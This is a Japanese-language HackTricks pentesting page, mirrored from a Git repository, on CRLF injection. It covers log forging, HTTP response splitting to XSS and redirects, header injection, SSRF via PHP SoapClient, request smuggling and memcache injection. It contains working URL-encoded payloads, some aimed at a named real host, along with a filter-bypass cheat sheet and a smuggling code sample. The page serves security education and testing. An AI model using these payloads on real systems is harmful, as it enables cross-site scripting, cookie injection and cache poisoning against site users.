Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md
Translator workflow e90c803209 Translated to Japanese
2023-07-07 23:42:27 +00:00

20 KiB
Raw Blame History

CRLF (%0D%0A) インジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もし、ハッキングのキャリアに興味があり、解読不能なものをハックしたい場合は、採用中です（流暢なポーランド語の読み書きが必要です）。

{% embed url="https://www.stmcyber.com/careers" %}

CRLFとは？

ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツ（つまり、レスポンスボディ）を含むレスポンスを返します。HTTPヘッダーとHTMLレスポンス（ウェブサイトのコンテンツ）は、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンと改行としても知られています。短く言えば、CRLFです。

ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終了することを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆるタイプのウェブサーバーで使用されます。
https://www.netsparker.com/blog/web-security/crlf-http-header/#より引用

CRLFインジェクション脆弱性とは？

CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンと改行の文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割などの悪意のある目的に使用することができます。

ウェブアプリケーションにおけるCRLFインジェクション

ウェブアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与えることがあります。影響は情報の漏洩からコードの実行まで、直接的なウェブアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。以下の例では、管理パネルのログファイルを操作することも可能です。

ログファイルにおけるCRLFインジェクションの例

以下のようなIP - 時間 - 訪問パスの出力ストリームパターンを持つ管理パネルのログファイルを想像してください：

123.123.123.123 - 08:15 - /index.php?page=home

もし攻撃者がCRLF文字をHTTPリクエストに挿入できる場合、彼は出力ストリームを変更し、ログエントリを偽造することができます。彼はウェブアプリケーションからのレスポンスを以下のように変更することができます：

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

%0d and %0aはCRとLFのURLエンコード形式です。したがって、攻撃者がこれらの文字を挿入し、アプリケーションがそれを表示した場合、ログエントリは次のようになります：

IP - 時間 - 訪問したパス

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限されたアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。

問題は、管理者が制限されたアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため（したがっておそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われる）、怪しまれません。

%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、もう1つの&があり、これはサーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じになります：

/index.php?page=home&restrictedaction=edit

HTTP レスポンス分割

説明

HTTP レスポンスのヘッダとボディは CRLF 文字で区切られているため、攻撃者はそれらを注入しようと試みることができます。CRLFCRLF の組み合わせは、ブラウザにヘッダが終わり、ボディが始まることを伝えます。つまり、彼は今、HTML コードが格納されているレスポンスボディ内にデータを書き込むことができます。これはクロスサイトスクリプティングの脆弱性につながる可能性があります。

XSS につながる HTTP レスポンス分割の例

例えば、カスタムヘッダを設定するアプリケーションを想像してください:

X-Your-Name: Bob

ヘッダーの値は「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入して、リクエストボディの開始をブラウザに伝えることができます。その方法で、彼はXSSペイロードなどのデータを挿入することができます。例えば：

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

上記は、攻撃対象のドメインのコンテキストでアラートウィンドウが表示されます。

リダイレクトにつながるHTTPレスポンス分割の例

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

ブラウザを以下に設定します：

/%0d%0aLocation:%20http://myweb.com

そして、サーバーは次のヘッダーで応答します：

Location: http://myweb.com

他の例：(from https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URLパス内

サーバーからのレスポンスを制御するために、ペイロードをURLパス内に送信することができます。

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTPヘッダーインジェクション

説明

CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダーを挿入することができます。これにより、ブラウザのXSSフィルターや同一オリジンポリシーなどのセキュリティメカニズムを回避することができます。これにより、攻撃者はCSRFトークンなどの機密情報を取得することができます。また、クッキーを設定することもできます。これにより、攻撃者は被害者を自分のアカウントにログインさせることができます。または、それ以外の未利用のクロスサイトスクリプティング（XSS）の脆弱性を悪用することができます。

機密データを抽出するためのHTTPヘッダーインジェクションの例

攻撃者がCORS（Cross Origin Resource Sharing）を有効にするHTTPヘッダーをインジェクションできる場合、異なるオリジンのサイトが互いにアクセスできない同一オリジンポリシー（SOP）によって保護されているリソースにJavaScriptを使用してアクセスすることができます。

SSRFでの新しいHTTPリクエスト

CRLFインジェクションを悪用することで、新しいHTTPリクエストを作成してインジェクションすることができます。
PHPのSoapClientデシリアライゼーションガジェットを使用した良い例があります。このクラスは、user_agentパラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を挿入することができます。ただし、この脆弱性を悪用して新しいHTTPリクエストをインジェクションすることもできるかもしれません。

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

リクエストスマグリングへのヘッダーインジェクション

初期リクエストに応答した後、バックエンドが接続を維持するために、重要なヘッダーをインジェクションすることができます。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

次に、2番目のリクエストを指定します。ここでは、サーバーがインジェクション後に追加した追加のヘッダー/ボディを含む、クラシックなリクエストスマグリングのオプションが2つあります。

次のユーザーのリクエストまたはWebキャッシュを汚染するために、悪意のある接頭辞を指定します。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

または、トレイリングジャンクと組み合わせて完全な2番目のリクエストを作成し、レスポンスキューの汚染をトリガーするための接頭辞を作成します。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

この技術と潜在的な問題についての詳細は、元のソースを確認してください。

Memcacheインジェクション

Memcacheは、クリアテキストプロトコルを使用するキーバリューストアです。詳細は次を参照してください：

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

プラットフォームがHTTPリクエストからデータを取得し、サニタイズせずにそれを使用してmemcacheサーバーにリクエストを実行する場合、攻撃者はこの動作を悪用して新しいmemcacheコマンドを注入することができます。

たとえば、元の脆弱性が発見された場合、キャッシュキーはユーザーが接続するためのIPとポートを返すために使用され、攻撃者はmemcacheコマンドを注入してキャッシュを汚染し、被害者の詳細（ユーザ名とパスワードを含む）を攻撃者のサーバーに送信することができました。

さらに、研究者は、メールアドレスを知らないユーザーに攻撃者のIPとポートを送信するために、memcacheのレスポンスをデシンクすることも発見しました。

詳細については、元の記事を読んでください****

CRLFインジェクションの影響

CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報の漏洩までのすべての影響を含みます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。

WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法

最も効果的な予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするために常に関数を使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、Webアプリケーションのセキュリティのベストプラクティスです。

チートシート

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

ツール

{% embed url="https://github.com/dwisiswant0/crlfuzz" %}

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}

参考文献

もしあなたがハッキングのキャリアに興味があり、アンハッカブルをハックしたい場合 - 採用中です！ (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥